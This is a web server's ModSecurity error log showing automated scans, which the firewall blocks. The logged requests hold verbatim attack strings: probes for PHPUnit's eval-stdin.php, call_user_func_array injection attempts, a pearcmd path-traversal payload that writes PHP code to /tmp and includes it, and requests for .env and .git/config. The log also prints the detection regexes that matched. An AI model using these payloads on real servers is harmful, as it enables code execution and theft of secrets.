[Sun Oct 25 05:34:34.246079 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhg_wAAAAw"]
[Sun Oct 25 05:34:34.247213 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKg-YVEbWS5meiuhg_wAAAAw"]
[Sun Oct 25 05:34:34.463963 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhhAAAAAAw"]
[Sun Oct 25 05:34:34.464428 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhhAAAAAAw"]
[Sun Oct 25 05:34:34.465348 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKg-YVEbWS5meiuhhAAAAAAw"]
[Sun Oct 25 05:34:34.784505 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhhAQAAAAw"]
[Sun Oct 25 05:34:34.784979 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhhAQAAAAw"]
[Sun Oct 25 05:34:34.785814 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKg-YVEbWS5meiuhhAQAAAAw"]
[Sun Oct 25 05:34:34.918555 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 18.232.36.1:47724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:34:34.919457 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhhAgAAAAw"]
[Sun Oct 25 05:34:34.919785 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhhAgAAAAw"]
[Sun Oct 25 05:34:34.920468 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKg-YVEbWS5meiuhhAgAAAAw"]
[Sun Oct 25 05:34:35.065865 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKw-YVEbWS5meiuhhAwAAAAw"]
[Sun Oct 25 05:34:35.066270 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKw-YVEbWS5meiuhhAwAAAAw"]
[Sun Oct 25 05:34:35.067208 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKw-YVEbWS5meiuhhAwAAAAw"]
[Sun Oct 25 05:34:35.268869 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBAAAAAw"]
[Sun Oct 25 05:34:35.269705 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBAAAAAw"]
[Sun Oct 25 05:34:35.270755 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKw-YVEbWS5meiuhhBAAAAAw"]
[Sun Oct 25 05:34:35.410993 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/public/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBQAAAAw"]
[Sun Oct 25 05:34:35.411775 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/public/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBQAAAAw"]
[Sun Oct 25 05:34:35.412603 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKw-YVEbWS5meiuhhBQAAAAw"]
[Sun Oct 25 05:34:35.646518 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBgAAAAw"]
[Sun Oct 25 05:34:35.646596 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBgAAAAw"]
[Sun Oct 25 05:34:35.646650 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBgAAAAw"]
[Sun Oct 25 05:34:35.646680 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create/&/<?echo(md5(hi)) ?>/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBgAAAAw"]
[Sun Oct 25 05:34:35.646834 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?:<\\\\?(?!xml\\\\s)|<\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "41"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <? found within ARGS_NAMES:/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php: /<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBgAAAAw"]
[Sun Oct 25 05:34:35.647697 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NKw-YVEbWS5meiuhhBgAAAAw"]
[Sun Oct 25 05:34:35.648516 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: PHP Open Tag Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKw-YVEbWS5meiuhhBgAAAAw"]
[Sun Oct 25 05:34:36.087139 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NLA-YVEbWS5meiuhhBwAAAAw"]
[Sun Oct 25 05:34:36.087251 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NLA-YVEbWS5meiuhhBwAAAAw"]
[Sun Oct 25 05:34:36.087283 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NLA-YVEbWS5meiuhhBwAAAAw"]
[Sun Oct 25 05:34:36.087766 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NLA-YVEbWS5meiuhhBwAAAAw"]
[Sun Oct 25 05:34:36.088644 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NLA-YVEbWS5meiuhhBwAAAAw"]
[Sun Oct 25 05:34:38.932862 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 98.82.39.241:37216] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:34:39.092930 2026] [security2:error] [pid 2800173:tid 2800173] [client 165.227.102.187:36798] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3NL8nrA_pwq9mjVbUIRwAAAAY"]
[Sun Oct 25 05:34:39.093158 2026] [security2:error] [pid 2800173:tid 2800173] [client 165.227.102.187:36798] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3NL8nrA_pwq9mjVbUIRwAAAAY"]
[Sun Oct 25 05:34:39.093946 2026] [security2:error] [pid 2800173:tid 2800173] [client 165.227.102.187:36798] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NL8nrA_pwq9mjVbUIRwAAAAY"]
[Sun Oct 25 05:34:40.175423 2026] [security2:error] [pid 2799890:tid 2799890] [client 165.227.102.187:36810] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at3NMGChNy-R5DAZy2u8iwAAAA0"]
[Sun Oct 25 05:34:40.175668 2026] [security2:error] [pid 2799890:tid 2799890] [client 165.227.102.187:36810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at3NMGChNy-R5DAZy2u8iwAAAA0"]
